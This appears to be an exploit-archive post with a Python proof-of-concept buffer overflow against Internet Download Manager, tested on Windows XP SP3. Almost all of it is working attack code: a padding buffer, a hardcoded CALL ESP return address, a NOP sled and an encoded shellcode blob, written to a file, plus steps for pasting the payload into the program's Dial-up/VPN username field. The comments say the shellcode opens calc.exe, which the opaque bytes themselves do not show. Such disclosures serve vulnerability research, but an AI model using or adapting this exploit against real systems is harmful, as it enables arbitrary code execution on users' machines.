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Internet Download Manager Buffer Overflow

Author: dogo h@ck , Published: 16-07-2014
# Exploit Title: Internet Download Manager Buffer Overflow
# Date: 12 August 2013
# Exploit Author: dogo h@ck
# Vendor Homepage: http://www.internetdownloadmanager.com/
# Software Link: http://www.internetdownloadmanager.com/download.html
# Version: All Version
# Tested on: Windows XP SP3

#!usr/bin/python

'''
Go to the file buff.txt , Select ALL , then# . Copy After copying the whole line Go To # Downloads ---> Options ----> Dial up /VPN ----> paste the line into the username field and let the password field . blank then click Enter

Bingo !

Calc.exe will show up (P.S : If # you're using other that WinXP SP3 En you'll have to change the return address with the compatible one with your ( system )
'''

filename="buff.txt"


buffer = "A"*2313
buffer +="\xD8\x69\x83\x7C" #7C8369D8 CALL ESP kernel32.dll

buffer +="\x90"*20 #nops

buffer +=("\xbb\xb3\xa2\xa4\x03\xdb\xdb\xd9\x74\x24\xf4\x58\x2b\xc9\xb1"
"\x33\x31\x58\x12\x83\xe8\xfc\x03\xeb\xac\x46\xf6\xf7\x59\x0f"
"\xf9\x07\x9a\x70\x73\xe2\xab\xa2\xe7\x67\x99\x72\x63\x25\x12"
"\xf8\x21\xdd\xa1\x8c\xed\xd2\x02\x3a\xc8\xdd\x93\x8a\xd4\xb1"
"\x50\x8c\xa8\xcb\x84\x6e\x90\x04\xd9\x6f\xd5\x78\x12\x3d\x8e"
"\xf7\x81\xd2\xbb\x45\x1a\xd2\x6b\xc2\x22\xac\x0e\x14\xd6\x06"
"\x10\x44\x47\x1c\x5a\x7c\xe3\x7a\x7b\x7d\x20\x99\x47\x34\x4d"
"\x6a\x33\xc7\x87\xa2\xbc\xf6\xe7\x69\x83\x37\xea\x70\xc3\xff"
"\x15\x07\x3f\xfc\xa8\x10\x84\x7f\x77\x94\x19\x27\xfc\x0e\xfa"
"\xd6\xd1\xc9\x89\xd4\x9e\x9e\xd6\xf8\x21\x72\x6d\x04\xa9\x75"
"\xa2\x8d\xe9\x51\x66\xd6\xaa\xf8\x3f\xb2\x1d\x04\x5f\x1a\xc1"
"\xa0\x2b\x88\x16\xd2\x71\xc6\xe9\x56\x0c\xaf\xea\x68\x0f\x9f"
"\x82\x59\x84\x70\xd4\x65\x4f\x35\x2a\x2c\xd2\x1f\xa3\xe9\x86"
"\x22\xae\x09\x7d\x60\xd7\x89\x74\x18\x2c\x91\xfc\x1d\x68\x15"
"\xec\x6f\xe1\xf0\x12\xdc\x02\xd1\x70\x83\x90\xb9\x58\x26\x11"
"\x5b\xa5") #shellcode "\x0a\x0b\x0d" badchars


textfile = open(filename , 'w')
textfile.write(buffer)
textfile.close()

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